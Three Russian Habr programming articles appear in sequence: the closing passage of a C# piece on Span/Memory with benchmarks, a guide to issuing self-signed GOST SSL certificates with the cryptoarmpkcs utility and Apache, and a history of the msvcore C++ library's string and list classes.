Метод ExtractStrings извлечет каждое из перечисленных названий стран, как показано ниже:
```
public static IEnumerable
> ExtractStrings(ReadOnlyMemory c)
{
int index = 0, length = c.Length;
for (int i = 0; i < length; i++)
{
if (char.IsWhiteSpace(c.Span[i]) || i == length)
{
yield return c[index..i];
index = i + 1;
}
}
}
```
Вы можете вызвать описанный выше метод и отобразить названия стран в окне консоли, используя следующий фрагмент кода:
```
var data = ExtractStrings(countries.AsMemory());
foreach(var str in data)
Console.WriteLine(str);
```
### Преимущества Span и Memory
Основным преимуществом использования типов Span и Memory является повышение производительности. Вы можете выделить память в стеке, используя ключевое слово stackalloc, которое выделяет неинициализированный блок, являющийся инстансом типа T[size]. В этом нет необходимости, если ваши данные уже находятся в стеке, но для больших объектов это будет полезно, потому что массивы, выделенные таким образом, существуют только в пределах своей области видимости. Если вы используете массивы, размещенные в куче, вы можете передать их через такой метод, как Slice() и создать их представления без копирования каких-либо данных.
Вот еще несколько преимуществ:
* Они уменьшают количество аллокаций для сборщика мусора. Они также уменьшают количество копий данных и обеспечивают более эффективный способ работы с несколькими буферами одновременно.
* Они позволяют писать высокопроизводительный код. Например, если у вас есть большой фрагмент памяти, который нужно разделить на фрагменты поменьше, вы можете использовать Span в качестве представления исходной памяти. Это позволит вашему приложению напрямую обращаться к байтам из исходного буфера без создания копий.
* Они позволяют вам напрямую обращаться к памяти, не копируя ее. Это может быть особенно полезно при работе с нативными библиотеками или при взаимодействии с другими языками.
* Они позволяют исключить проверку границ в циклах, где производительность имеет решающее значение (например, криптография или проверка сетевых пакетов).
* Они позволяют устранить затраты на упаковку и распаковку, связанные с универсальными коллекциями, такими как List.
* Они позволяют писать более понятный код, используя один тип данных (Span), вместо двух (Array и ArraySegment).
### Непрерывные и несмежные буферы памяти
Непрерывный (contiguous) буфер памяти — это блок памяти, который содержит данные в последовательно соседних местах. Другими словами, все байты в памяти расположены рядом друг с другом. Массив представляет собой непрерывный буфер памяти. Например:
```
int[] values = new int[5];
```
Пять целых чисел в приведенном выше примере будут помещены в пять последовательных ячеек памяти, начиная с первого элемента (values[0]).
В отличие от непрерывных буферов, несмежные (non-contiguous или не непрерывные) буферы можно использовать в случаях, когда у нас имеется несколько блоков данных, не расположенных рядом друг с другом, или при работе с неуправляемым кодом. Типы Span и Memory были разработаны специально для несмежных буферов, обеспечивая удобные способы работы с ними.
Несмежная область памяти не гарантирует, что элементы будут храниться в каком-то определенном порядке или что они будут храниться в памяти близко друг к другу. Несмежные буферы, такие как ReadOnlySequence (при использовании с сегментами), находятся в отдельных областях памяти, которые могут быть разбросаны по куче и недоступны с помощью одного указателя.
Например, IEnumerable является несмежным, потому что невозможно узнать, где будет следующий элемент, пока вы не переберет каждый из них по отдельности. Чтобы представить эти промежутки между сегментами, вы должны использовать дополнительные данные, чтобы отслеживать, где каждый сегмент начинается и заканчивается.
### Несмежные буферы: ReadOnlySequence
Предположим, вы работаете с несмежным буфером. Например, данные могут поступать из сетевого потока, вызовов базы данных или файлового потока. Каждый из этих сценариев может иметь несколько буферов разного размера. Один ReadOnlySequence может содержать один или несколько сегментов памяти, и каждый сегмент может иметь свой собственный инстанс Memory. Таким образом, один ReadOnlySequence позволяет лучше управлять доступной памятью и обеспечивает более высокую производительность, чем множество объединенных инстансов Memory.
Вы можете создать ReadOnlySequence, используя фабричный метод Create() класса SequenceReader, а также другие методы, такие как AsReadOnlySequence(). Метод Create() имеет несколько перегрузок, которые позволяют передавать byte[] или ArraySegment, последовательность байтовых массивов (IEnumerable) или коллекции IReadOnlyCollection/IReadOnlyList/IList/ICollection байтовых массивов (byte[]) и ArraySegment.
Span и Memory обеспечивают поддержку непрерывных буферов памяти, таких как массивы. Пространство имен System.Buffers содержит структуру ReadOnlySequence, обеспечивающую поддержку работы с несмежными буферами памяти. В следующем фрагменте кода показано, как можно работать с ReadOnlySequence в C#:
```
int[] array = { 1, 2, 3, 4, 5, 6, 7, 8, 9 };
var readOnlySequence = new ReadOnlySequence(array);
var slicedReadOnlySequence = readOnlySequence.Slice(1, 5);
```
Вы также можете использовать ReadOnlyMemory, как показано ниже:
```
int[] array = { 1, 2, 3, 4, 5, 6, 7, 8, 9 };
ReadOnlyMemory memory = array;
var readOnlySequence = new ReadOnlySequence(memory);
var slicedReadOnlySequence = readOnlySequence.Slice(1, 5);
```
### Реальный практический пример
Теперь давайте рассмотрим реальную задачу и то, как Span и Memory могут здесь помочь. Рассмотрим следующий массив строк, содержащий логовые данные, извлеченные из файла с логами:
```
string[] logs = new string[]
{
"a1K3vlCTZE6GAtNYNAi5Vg::05/12/2022 09:10:00 AM::http://localhost:2923/api/customers/getallcustomers",
"mpO58LssO0uf8Ced1WtAvA::05/12/2022 09:15:00 AM::http://localhost:2923/api/products/getallproducts",
"2KW1SfJOMkShcdeO54t1TA::05/12/2022 10:25:00 AM::http://localhost:2923/api/orders/getallorders",
"x5LmCTwMH0isd1wiA8gxIw::05/12/2022 11:05:00 AM::http://localhost:2923/api/orders/getallorders",
"7IftPSBfCESNh4LD9yI6aw::05/12/2022 11:40:00 AM::http://localhost:2923/api/products/getallproducts"
};
```
Учтите, что у вас могут быть миллионы логовых записей, поэтому производительность тут имеет решающее значение. Этот пример представляет собой просто извлечение конкретных логов из огромных объемов логовых данных. Данные для каждой из строк включают id HTTP-запроса, дату и время его совершения и URL конечной точки. Теперь предположим, что вам нужно извлечь из этих данных id запроса и URL конечной точки.
Вам нужно решение с высокой производительностью. Если вы используете метод String Substring, то в результате будет создано много строковых объектов, что значительно ухудшит производительность вашего приложения. Лучшее решение — использовать Span, чтобы избежать этих аллокаций. Решением этой проблемы заключается в использовании Span и Slice, как показано в следующем разделе.
### Сравнительный анализ производительности
Пришло время провести некоторые измерения. Давайте теперь сравним производительность структуры Span с методом Substring из String.
#### Создание нового проекта консольного приложения в Visual Studio 2022
Давайте создадим проект консольного приложения, который мы будем использовать для оценки производительности. Вы можете создать проект в Visual Studio 2022 несколькими способами. При запуске Visual Studio 2022 вы увидите окно “Start”. Вы можете выбрать “**Continue without code**”, чтобы открыть главный экран Visual Studio 2022.
Чтобы создать новый проект консольного приложения в Visual Studio 2022:
1. Запустите Visual Studio 2022.
2. В окне “**Create a new project**” выберите “**Console App**” и нажмите “**Next**”, чтобы перейти дальше.
3. Укажите имя проекта (“**HighPerformanceCodeDemo**”) и путь, по которому он должен располагаться, в окне “**Configure your new project**”.
4. Если вы хотите, чтобы файл солюшена и проект были созданы в одном каталоге, вы можете дополнительно установить флажок “**Place solution and project in the same directory**”. Нажмите “**Next**”, чтобы перейти дальше.
5. На следующем экране укажите целевую платформу, которую вы хотите использовать для своего консольного приложения.
6. Нажмите “**Create**”, чтобы завершить процесс создания проекта.
Это приложение пригодится нам в следующих разделах этой статьи.
#### Установка необходимых NuGet-пакетов
Пока ничего сложного. Следующим шагом является установка необходимых NuGet-пакетов. Чтобы установить необходимые пакеты в свой проект, кликните солюшн правой кнопкой мыши и выберите “**Manage NuGet Packages for Solution…**”. Теперь найдите пакет с именем “**BenchmarkDotNet**” и установите его. В качестве альтернативы, вы можете ввести приведенные ниже команды в командной строке диспетчера NuGet-пакетов:
```
PM> Install-Package BenchmarkDotNet
```
#### Оценка производительности Span
Теперь мы наконец можем перейти к сравнительной оценке производительности методов Substring и Slice. Создайте новый класс с именем BenchmarkPerformance, используя код из **листинга 1**. Вам следует обратить внимание на то, как данные были настроены в методе GlobalSetup и на использование атрибута GlobalSetup.
### Листинг 1: Подготовка контрольных данных
```
[MemoryDiagnoser]
[Orderer(BenchmarkDotNet.Order.SummaryOrderPolicy.FastestToSlowest)]
[RankColumn]
public class BenchmarkPerformance
{
[Params(100, 200)]
public int N;
string countries = null;
int index, numberOfCharactersToExtract;
[GlobalSetup]
public void GlobalSetup()
{
countries = "India, USA, UK, Australia, Netherlands, Belgium";
index = countries.LastIndexOf(",",StringComparison.Ordinal);
numberOfCharactersToExtract = countries.Length - index;
}
}
```
Теперь добавьте два метода с именами Substring и Span, как показано в **листинге 2**. Первый извлекает последнее название страны с помощью метода String Substring, а второй делает это с помощью Slice .
### Листинг 2: Методы Substring и Span
```
[Benchmark]
public void Substring()
{
for(int i = 0; i < N; i++)
{
var data = countries.Substring(index + 1, numberOfCharactersToExtract - 1);
}
}
[Benchmark(Baseline = true)]
public void Span()
{
for(int i=0; i < N; i++)
{
var data = countries.AsSpan().Slice(index + 1, numberOfCharactersToExtract - 1);
}
}
```
Полный исходный код BenchmarkPerformance приведен для справки в **листинге 3**.
### Листинг 3: Полный исходный код
```
[MemoryDiagnoser]
[Orderer(BenchmarkDotNet.Order.SummaryOrderPolicy.FastestToSlowest)]
[RankColumn]
public class BenchmarkPerformance
{
[Params(100, 200)]
public int N;
string countries = null;
int index, numberOfCharactersToExtract;
[GlobalSetup]
public void GlobalSetup()
{
countries = "India, USA, UK, Australia, Netherlands, Belgium";
index = countries.LastIndexOf(",",StringComparison.Ordinal);
numberOfCharactersToExtract = countries.Length - index;
}
[Benchmark]
public void Substring()
{
for(int i = 0; i < N; i++)
{
var data = countries.Substring(index + 1, numberOfCharactersToExtract - 1);
}
}
[Benchmark(Baseline = true)]
public void Span()
{
for(int i=0; i < N; i++)
{
var data = countries.AsSpan().Slice(index + 1, numberOfCharactersToExtract - 1);
}
}
}
```
#### Бенчмарк
Для запуска бенчмарков добавьте следующий фрагмент кода в Program.cs:
```
using HighPerformanceCodeDemo;
using System.Runtime.InteropServices;
class Program
{
static void Main(string[] args)
{
BenchmarkRunner.Run();
}
}
```
Для выполнения бенчмарков установите для проекта режим компиляции Release и выполните следующую команду в той же папке, где находится файл проекта:
```
dotnet run -p HighPerformanceCodeDemo.csproj -c Release
```
**На рисунке 3** показан результат проведения бенчмарков.
Рисунок 3: Сравнительный анализ производительности Span (Slice) и Substring#### Интерпретация результатов сравнительного анализа
Как видно на **рисунке 3**, когда вы используете Slice для извлечения строки, дополнительные аллокации отсутствуют. Для каждого из тестируемых методов генерируется строка с результатами. Поскольку мы проводим бенчмарки двух методов, то мы видим две строки с данными результатов. Результаты бенчмарков показывают среднее время выполнения, коллекции Gen0 и выделенную память. Как видно из результатов, Span работает более чем в 7.5 раз быстрее, чем Substring .
### Ограничения Span
Span исключительно стековый, что означает, что он не подходит для хранения ссылок на буферы в куче, как в подпрограммах, выполняющих асинхронные вызовы. Он размещается не в управляемой куче, а в стеке, и его нельзя упаковать, что предотвращает продвижение в управляемую кучу. Вы не можете использовать Span как универсальный тип, но вы можете использовать его как тип поля в ref struct. Вы не можете назначать Span переменным типа dynamic, object или любого другого типа интерфейса. Вы не можете использовать Span в качестве полей в ссылочном типе, а также не можете использовать его в await и yield конструкциях. Кроме того, поскольку Span не наследует IEnumerable, с ним нельзя использовать LINQ.
Важно отметить, что вы не можете иметь Span поле в классе, создавать массив Span или упаковать инстанс Span. Обратите внимание, что ни Span ни Memory не реализуют IEnumerable. Таким образом, вы не сможете использовать LINQ-операции ни с одним из них. Однако вы можете воспользоваться преимуществами SpanLinq или NetFabric.Hyperlinq, чтобы обойти это ограничение.
### Заключение
В этой статье я рассмотрел возможности и преимущества Span и Memory и то, как вы можете реализовать их в своих приложениях. Я также обсудил реальный сценарий, в котором Span можно использовать для повышения производительности обработки строк. Обратите внимание, что Span является более универсальным и более производительным, чем Memory, но не является его полной заменой.
---
В январе состоится открытое занятие, на котором познакомимся с подмножеством поведенческих шаблонов проектирования GOF, такими как: Стратегия, Итератор и Посредник. Разберем их смысл, правила применения и особенности реализации на языке программирования C#. Регистрация [доступна по ссылке](https://otus.pw/ynvl/) для всех желающих. | https://habr.com/ru/post/708210/ | null | ru | null |
# Криптографический АРМ на базе стандартов с открытым ключом. Выпуск SSL-сертификатов. Эпилог
Вот мы и [добрались](https://habr.com/ru/post/464017/) до создания самоподписанных сертификатов.
Где применяются самоподписанные сертификаты? Конечно, с самоподписанным сертификатом вы не сможете зарегистрироваться на сайте Госуслуг или подать подписанную декларацию в ФНС. Но для внутрикорпоративного документооборота их вполне можно использовать. Можно также использовать их для защиты личной почтовой переписки, в VPN-сетях и т.п. Но наиболее часто используют самоподписанные SSL-сертификаты для обеспечения защищенного доступа по https-протоколу к Web-приложениям. Самым популярным средством для создания самоподписанных сертификатов остается [OpenSSL](https://habr.com/ru/post/346798/). Процедура получения SSL-сертификатов с помощью того же OpenSSL хороша описана [здесь](https://habr.com/ru/post/352722/). Но там вы не найдете упоминая о ГОСТ-овых сертификатах, о токенах [PKCS#11](https://habr.com/ru/post/400943/) и т.п. Здесь мы рассмотрим простой графический интерфейс, который позволяет получать сертификаты на базе ГОСТ Р 34.10-2012 и без всякого использования OpenSSL.
**Саму утилиту cryptoarmpkcs можно получить здесь**
* [Linux32](https://github.com/a513/CryptoArmPKCS/raw/master/distr/cryptoarmpkcs_linux32.tar.bz2)
* [Linux64](https://github.com/a513/CryptoArmPKCS/raw/master/distr/cryptoarmpkcs_linux64.tar.bz2)
* [OS X](https://github.com/a513/CryptoArmPKCS/raw/master/distr/cryptoarmpkcs_mac.tar.bz2)
* [WIN32](https://github.com/a513/CryptoArmPKCS/raw/master/distr/cryptoarmpkcs_setup_win32.exe)
* [WIN64](https://github.com/a513/CryptoArmPKCS/raw/master/distr/cryptoarmpkcs_setup_win64.exe)
Итак, нажимаем кнопку «Самоподписанный сертификат»:
Как видим, эта вкладка мало чем отличается от аналогичной вкладки при [создании запроса](https://habr.com/ru/post/453164/) на сертификат. Здесь появились кнопки выбора типа генерируемого сертификата «Тип сертификата»:
— пользовательский сертификат (кнопка User);
— корневой сертификат (кнопка CA);
— SSL-сертификат (кнопка SSL).
Естественно, начинать работу надо с выпуска корневого сертификата, на базе которого затем будут выпускаться все остальные сертификаты. При создании корневого сертификата не забудьте включить флажок «Подпись сертификата» в назначении (использование) ключа:
Опускаем заполнение основных полей сертификата, они ничем не отличаются от заполнения аналогичных полей для запроса, а сразу переходим к завершающим страницам. Вот первая из них:
На этой странице необходимо выбрать папку, в которой будет сохранен корневой сертификат и его закрытый ключ. Именно эту папку затем необходимо будет указывать при выпуске других сертификатов. Необходимо также определить срок действия сертификата. Можно задать также точку, в которой можно будет получить корневой сертификат. При выпуске сертификат и закрытый ключ будут упакованы в так многими любимый защищенный [контейнер PKCS#12](https://habr.com/ru/post/440882/). В связи с этим необходимо задать пароль для контейнера. В итоге, после нажатия кнопки «Finish», будет получен корневой сертификат:
При выпуске сертификата мы получаем четыре файла в указанном каталоге:
* rootCA.cer с самим сертификатом в формате (PEM/DER), который выбрали;
* rootCA.csr с запросом на сертификат;
* кootCA.pfx защищенный на пароле контейнер PKCS#12 с сертификатом и закрытым ключом;
* rootCA.key с закрытым ключом в формате (PEM/DER), который выбрали.
Файл rootCA.key, если вы не собираетесь его использовать, лучше сразу уничтожить. В противном случае храните его в месте, недоступном другим людям. Также скрывайте от посторонних глаз пароль к контейнеру rooCA.pfx.
Теперь, когда мы имеем корневой сертификат, можно приступить к выпуску пользовательских сертификатов, включая SSL-сертификаты:
После выбора типа сертификата (SSL-сертификат), типа ключа, его параметров и как он (ключ) будет использоваться, переходим к следующей странице:
На этой странице задается основное имя домена, которое будет занесено в поле Common Name, а также можно задать дополнительные (альтернативные ) имена вашего домена. Также можно прописать IP-адреса, где может располагаться ваш домен. Все это делается ради "[вожделенного зеленого замочка](https://habr.com/ru/post/346798/)".
Разобравшись с доменами, IP-адресами переходим к следующим вкладкам. Там все как обычно. Единственное отличие состоит в том, что после нажатия кнопки «Finish» будет затребован пароль к корневому контейнеру rootCA.pfx:
После успешного ввода пароля также получим четыре файла:
Все замечания, касающиеся пароля и закрытого ключа, высказанные выше применительно к корневому сертификату, относятся и к остальным сертификатом. Все сертификаты мы выпустили. Что дальше?
Использовать их. Если это пользовательские сертификаты, то вы их можете использовать в этой же утилите через [контейнеры PKCS#12](https://habr.com/ru/post/460205/), в документообороте для подписания документов, например:
Что касается SSL-сертификатов, то их надо использовать по назначению для организации защищенного канала с Web-приложением. В качестве такого приложения мы взяли УЦ, на котором доступ к его ресурсам для администраторов организован по ГОСТ-вому https. УЦ развернуто на базе Apache2-2.4.10 с модулем mod\_ssl, который поддерживает российские шифрсьюты. На сервере (у нас это Linux) кладем полученный SSL-сертификат (<ваш каталог>/self\_xxx.cer) и его закрытый ключ (<ваш каталог>/sel\_xxx.key) в папку /etc/ssl и прописываем пути к ним в файле /etc/apache2/sites-available/default-ssl:
```
...
SSLCertificateFile <ваш каталог>/self_xxx.cer
SSLCertificateKeyFile <ваш каталог>/self_xxx.key
....
```
Перезапускаем apache2:
```
#service pache2 restart
#
```
На рабочем месте (у меня это Linux) в [браузере с поддержкой российской криптографии](https://www.linux.org.ru/news/mozilla/12799094) устанавливаем наш корневой сертификат (<ваш каталог>/rootCA.cer) с указанием доверия к нему. На рабочем компьютере в файл /etc/hosts добавляем следующую строку:
```
192.168.0.233 www.shield-ra.ru shield-ra.ru shield-ra
```
и идем по одному из этих адресов:
Горит, горит «вожделенный зеленый замочек».
Проверим и остальные адреса:
Зелено вокруг. И наконец, посмотрим какой шифрсьют мы задействовали:
Для создания самоподписанных сертификатов по созданным ранее запросам на сертификат расширен функционал страницы «Просмотр запроса/сертификата»:
Как видно из скриншота, теперь можно не только просмотреть запрос, но и выдать по нему сертификат. В качестве корневого сертификата используется все тот же контейнер rootCA.pfx. При нажатии кнопки «Выпуск» появится окно с запросом, просмотрев который вы можете нажать кнопку «Выпуск сертификата»:
После нажатия кнопки будет запрошен пароль к корневому контейнеру и в итоге выпущен сертификат:
Кстати, просмотреть полученный сертификат можно на этой же странице (кнопка «Файл сертификата»).
Итак, наша криптографическая утилита cryptoarmpkcs позволяет:
— работать с токенами PKCS#11 с поддержкой российской криптографии;
— создавать запросы на сертификаты;
— создавать и проверять электронную подпись (вплоть до CAdes XLT1) с использованием токенов PKCS#11;
— создавать электронную подпись (вплоть до CAdes XLT1) с использованием контейнеров PKCS#12;
— выпускать самоподписанные сертификаты;
— просматривать сертификаты и запросы.
Наверное, что-то в ней не хватает, подскажите, учтем. Спасибо за долготерпение.
P.S. Теперь загружать обновленные версии можно непосредственно из утилиты. Для этого достаточно подвести курсор мыши на заголовок «PKCS#11, X509v3 ...», нажать правую клавишу мыши и выбрать пункт меню «О программе»:
 | https://habr.com/ru/post/468817/ | null | ru | null |
# msvcore – c++, кроссплатформенная библиотека, велосипед и 12 лет разработки
Привет Хабр, я хочу рассказать о творении, на которое потратил свою молодость~~, уж лучше бы пил и курил~~.
Msvcore – это кроссплатформенная библиотека для c++, написанная с нуля по принципам оптимальности, открытости и простоты. По крайней мере, это закладывалось как базовая идея. Что получилось в итоге…
### Немного истории
Все началось в далеком 2004 году, когда я начал работать кем-то вроде сисадмина на все руки, а заодно начал увлекаться c++. И, как сейчас помню, MFC с его шаблонами и строки CString. Тогда и возникла мысль написать свои строки, простые и понятные. И понеслось.
К сожалению у меня сохранился лишь архив от октября 2005, по нему и буду восстанавливать события. Взглянуть на него вы можете на [гитхабе](https://github.com/mikelsv/opensource/tree/master/msv_10_2005). Самая ранняя дата в архиве датируется 10 октября 2004, за неимением другого, этот день и можно считать днем рождения библиотеки (Date: Sun, 10 Oct 2004 12:50:42 GMT).
Интересно, что библиотека, в отличие от других, создавалась путем эволюции. В нее добавлялся часто используемый код, и дописывалась она под текущие задачи. Задачи усложнялись, библиотека росла. Но в этом есть и минус, вы можете не найти функций, которые, казалось бы обязаны быть в каждой библиотеке. По тому она и велосипед, который дописывается в процессе разработки.
Первым компонентом в моей библиотеке был класс строк MString, полное название MyString.
```
class MString{
char * data; // Указатель на данные
unsigned int sz; // Размер строки
unsigned int rsz; // Размер выделенной памяти
}
```
Бинарные строки, с одним буфером, заканчивающиеся дополнительным нулевым байтом, который требовался для большинства стандартных функций: open, strlen(), …
После первой большой программы, со статическими массивами, нелогичной логикой и прочими косяками начинающего программиста, потребовались динамические массивы. Общее название первых динамических массивов — MMatrix. Основной принцип: Родительский элемент с указателями на первый и последний элементы массива и, счетчик элементов. Элементы массива имели указатели на предыдущий, следующий элементы и данные. Для каждого варианта данных делалась своя копия класса. Шаблоны? Нет, не слышали. В последствии, классы массивов разрабатывались чуть ли не раз в год.
Так же одним из первых был создан класс MSVCF для работы с конфигурационными файлами.
Писались свои аналоги стандартный функций: itos() и stoi(), itos64() и stoi64(), ftos() и stof() для перевода числа в строку и обратно для int, int64, float. itob() и btoi() тоже, но для бинарных строк. stos() конвертор short в char. explode() для разбиения строки на части. rts() (read to sumbol) и компания, для поиска символа/строки в строке. Создан класс ILink, который потребовался для разбора путей и ссылок на части и используется до сих пор. В какой-то момент потребовался класс IHeader для работы с http заголовками. До сих пор актуален набор функций MSVThreads для создания новых потоков. Создан класс MTime для работы со временем.
Это были зачатки библиотеки, которой еще много предстоит пройти. Объем текста в библиотеке 115кб.
### Базовые принципы
Библиотека затачивалась на оптимальность, понятность, логичность и много других хороших слов. На деле, она до сих пор полна страшного кода, написанного в одну строку. Лишь в прошлом году код начал писаться с расстановкой отступов между знаками.
Для использования библиотеки нужно включить в проект два файла MString.cpp и VString.cpp. Попытки подключать библиотеку в виде подключаемого модуля провалились ввиду сложности постоянно пересобирать два проекта вместо одного. Так же, в подключаемой библиотеке нельзя применить изменения на лету. Изначально библиотека включалась в сам проект, но со временем сборка начала занимать продолжительное время, поэтому была разделена на части, чтобы при изменении требовалось пересобрать лишь часть проекта. Проекты на основе библиотеки обычно состоят из трех главных файлов: ProjectName.cpp, MString.cpp, VString.cpp. Код программы пишется в ProjectName.cpp, следующие два подключаются из библиотеки. Здесь часто не используется стандартное разделение кода на cpp и h файлы, для ускорения написания кода. Библиотека и программы порой писалась днями и ночами, и лишние задержки были не к чему.
Слово о кроссплатформенности. После знакомства с линуксом в 2006 году библиотека была допилена для сборки в gcc. Потом под WinCE, Android(Jni) и даже Flash(Crossbridge). Стоит заметить, что все программы изначально пишутся в Windows и MSVS и, лишь потом переносятся на конечную платформу для дописывания платформозависимой части и тестирования. Что экономит уйму времени и сил.
Я принципиально не использовал библиотеки, за исключением тех, которые бессмысленно и сложно переписывать: zlib, openssl, pcre, mysql.
#### Строки
Концепция строк выстраивалась довольно долго. Варианты с использованием счетчика ссылок, когда несколько переменных указывают на один блок памяти, работали не достаточно оптимально, для них требовалось использовать блокировки и более сложная логика, а в те времена я делал серьезный упор на экономии и простоте.
В какой-то момент появились виртуальные строки VString, сначала как отдельный класс, а впоследствии, решая проблему конвертации строк между классами, как базовый.
В итоге, на сегодняшний день картина такова:
Класс [VString](https://github.com/mikelsv/opensource/blob/master/msvcore/VString.h) (Virtual String) – виртуальные строки, содержит указатель на данные и их размер. Класс не работает с выделением/освобождением памяти. Позволяет быстро выполнять операции со строками, не требующие изменения данных: получение части строки, поиск по строке. Класс заменяет собой часто используемый указатель на строки char\*, оканчивающиеся нулем. Я считаю последний вариант работы со строками не оптимальным и попросту опасным, неверные данные в строке не должны вызывать ошибки. Главная проблема в VString – следить за актуальностью данных, на которые указывает переменная этого класса.
```
class VString{
public:
unsigned char *data;
unsigned int sz;
functions...
};
```
Класс [MString](https://github.com/mikelsv/opensource/blob/master/msvcore/MString.h) (My String) – стандартные строки с выделением памяти под них. Память перевыделяется при каждом изменении размера строки, что делает использование этих строк крайне медленным. Данные строки следует использовать там, где другие варианты строк не подходят. Используются в роли переменных в классах. Здесь основная проблема – необходимость использования блокировок при доступе из нескольких потоков.
```
class MString: public VString{ functions... };
```
Класс [SString](https://github.com/mikelsv/opensource/blob/master/msvcore/SString.h) (Stack String) – строки на стеке. Те же строки, но с выделением памяти на стеке, по умолчанию выделяют 1кб, для строк большего размера используется MString. Огромная скорость, но большой лишний объем. Используются как временные переменные. Рождены в погоне за уменьшением операций выделения/освобождения памяти.
```
class SStringX : public VString{
unsigned char sdata[stacksize];
MString mdata;
functions...
};
```
Класс [HLString](https://github.com/mikelsv/opensource/blob/master/msvcore/msvdefine_m.h#L15) (Line String) – хранит строки в цепочке из блоков памяти. По умолчанию выделяются блоки памяти по 4кб или под размер данных. Выделение памяти заранее, ускоряет работу при операциях добавления данных. Класс перегружает оператор + и позволяет писать код в виде: MString text(HLString() + “text” + a + 111); Так же класс выделяет память на стеке, для первого блока памяти, по умолчанию 4кб. Варианты использования: сложение множества строк, чисел в одну строку. Так же часто используется финт ушами для временного хранения строк. HLString ls; VString s = ls.addnfr(“Text”); — Добавляет нефрагментированную строку. Здесь плюсы в выделении/освобождении больших блоков памяти, что гораздо быстрее, чем при использовании MString для того же количества строк.
Класс [TString](https://github.com/mikelsv/opensource/blob/master/msvcore/TString.h) (Temp String, Thread String) – Временные или потоковые строки. Идея, пришедшая лишь год назад, а ей стоило поторопиться лет на пять. В принципе, эта идея построена на HLString, нефрагментированных строках и \_\_thread переменных. Каждый поток имеет свой экземпляр HLString переменной, из чего вытекают интересные перспективы. TString выделяет память в HLString, привязанном к потоку, что определенно быстрее, чем выделение памяти через malloc()/free(). Проблема этого класса в том, что он не освобождает память до уничтожения всех переменных TString. В определенные моменты программы все переменные должны уничтожаться, иначе программа постепенно использует всю доступную память с соответствующими последствиями.
Это пять типов строк, использующиеся мной при написании программ. VString — для работы со строками и фрагментами строк, MString — для хранения данных в классах, SString – для сбора строк из подстрок на стеке, HLString – для сбора больших строк на лету, TString – для временных строк.
#### Массивы
Первая программа, построенная с использованием статических массивов, показала, что с этим что-то надо делать. С тех пор идея писать массивы приходила чуть ли не каждый год.
[MMatrix](https://github.com/mikelsv/opensource/blob/master/msvcore/list/MMatrix.h) (My Matrix) – первые попытки работать с указателями, постоянные падения и бесконечный поиск ошибок. Состояли из родительского элемента с указателями на первый и последний элемент массива, и, собственно элементов массива, с указателями на предыдущий и следующий элементы, а так же данные. Размножались простым копированием класса и дописыванием нужных функций. Шаблоны это не наш метод. Так же оптимизировались под задачу: а давайте выкинем указатель на предыдущий элемент и сэкономим целых четыре байта.
[LMatrix](https://github.com/mikelsv/opensource/blob/master/msvcore/list/LMatrix.h) (Live Matrix) ~ 2007г. – вечно живая, как дедушка Ленин. Вы можете взглянуть на код, но даже мне не хочется в этом копаться и вспоминать, по каким принципам она работала.
[UMatrix](https://github.com/mikelsv/opensource/blob/master/msvcore/list/UMatrix.cpp) (Unlimited Matrix) ~2008г. – динамический массив из цепочки блоков памяти с хранением нескольких элементов массива в одном блоке. Умеет объединять все элементы в один блок памяти. Здесь была реализована идея выделять память сразу под блок элементов, сокращая работу с функциями памяти. Для определения свободных/занятых элементов используется битовая маска. Эти идеи будут использоваться в следующих вариантах массивов. Шаблоны все еще не наш метод, но и руками копировать достаточно сложно, поэтому был написан кодогенератор массивов.
[IMatrix](https://github.com/mikelsv/opensource/blob/master/msvcore/list/IMatrix.cpp) (Ideal Matrix) ~ 2009г. – вектор, весь массив в одном блоке памяти, при нехватке места перемещается на блок памяти большего размера. Впоследствии оказался малополезен и практически не используется.
[OMatrix](https://github.com/mikelsv/opensource/blob/master/msvcore/list/omatrix.h) (Object Matrix) ~2010г. – общей идеей повторяет UMatrix, но если идея первой – цепочка объектов, то здесь идея разделенности. Здесь, в отличие от UMatrix, реализован список свободных объектов и проход по ним. Данный класс используется как аллокатор памяти, позволяя быстро получать/освобождать память под переменные.
Матрицы закончились, начались листы. А вместе с ними были заброшены кодогенераторы и приняты к использованию шаблоны.
[MList](https://github.com/mikelsv/opensource/blob/master/msvcore/list/MList.h) (My List) ~ 2013г. – Класс автоматически оборачивает пользовательский класс в свой, добавляя указатели на предыдущий и следующий элементы.
[IList](https://github.com/mikelsv/opensource/blob/master/msvcore/list/IList.h) (Ideal List) ~ 2014г. – IMatrix с заменой кодогенератора на шаблоны, все тот же вектор.
[OList](https://github.com/mikelsv/opensource/blob/master/msvcore/list/OList.h) (Object List) ~ 2015г. – Аналогично, OMatrix переписанный под шаблоны.
[UList](https://github.com/mikelsv/opensource/blob/master/msvcore/list/UList.h) (Unlimited List) ~ 2015г. – Замена UMatrix, шаблоны, красивый и логичный код.
[AList](https://github.com/mikelsv/opensource/blob/master/msvcore/list/AList.h) (Auto List) 2015г. – Динамический массив с набором аллокаторов памяти, от стандартного new/free, UList, HLString, OList до возможности написать свой.
[TrieList](https://github.com/mikelsv/opensource/blob/master/msvcore/list/TrieList.h) 2016г. – Реализация Trie дерева для быстрого поиска, на базе AList.
Как это не печально, массивы постепенно обрастают шаблонами, с одной стороны это упрощает разработку, с другой усложняет понимание и изменение под свои задачи.
#### Использование библиотеки
Простейший пример, создать пустой проект и добавить cpp файл с содержимым:
```
#define USEMSV_GENERALCPP
#define PROJECTNAME "projectname"
#define PROJECTVER PROJECTNAME ## _versions
#include "../../opensource/msvcore/msvcore.cpp"
Versions PROJECTVER[]={
// new version to up
"0.0.0.1", "10.10.2013 21:24"
};
int main(int args, char* arg[]){
ILink link; mainp(args, arg, link);
print(PROJECTNAME, " v.", PROJECTVER[0].ver," (", PROJECTVER[0].date, ").\r\n");
return 0;
}
```
Добавить в проект файлы "..\..\opensource\msvcore\VString.cpp" и "..\..\opensource\msvcore\MString.cpp" и писать код.
При добавлении нескольких cpp файлов следует использовать тот же код до #include … msvcore.cpp включительно, удалив строчку #define USEMSV\_GENERALCPP. Так же можно подключать дополнительные расширения библиотеки, указывая их до подключения msvcore.cpp, например #define USEMSV\_OLIST дает возможность использовать массивы OList. Список расширений можно увидеть в msvcore.cpp
По умолчанию в библиотеке:
* Подключаются платформозависимые файлы, определяются различные дефайны.
* Доступны классы строк: VString, MString, TString, SString(), HLString.
* Доступны наборы функций: rts() – поиск по строке, PartLine() – аналог для работы с VString.
* Класс ILink – для работы с путями и ссылками, класс MTime – для работы со временем, класс ConfLine – работа с конфигурационными файлами, класс Logs — для ведения логов, класс MSVEF – аналог регулярных выражений.
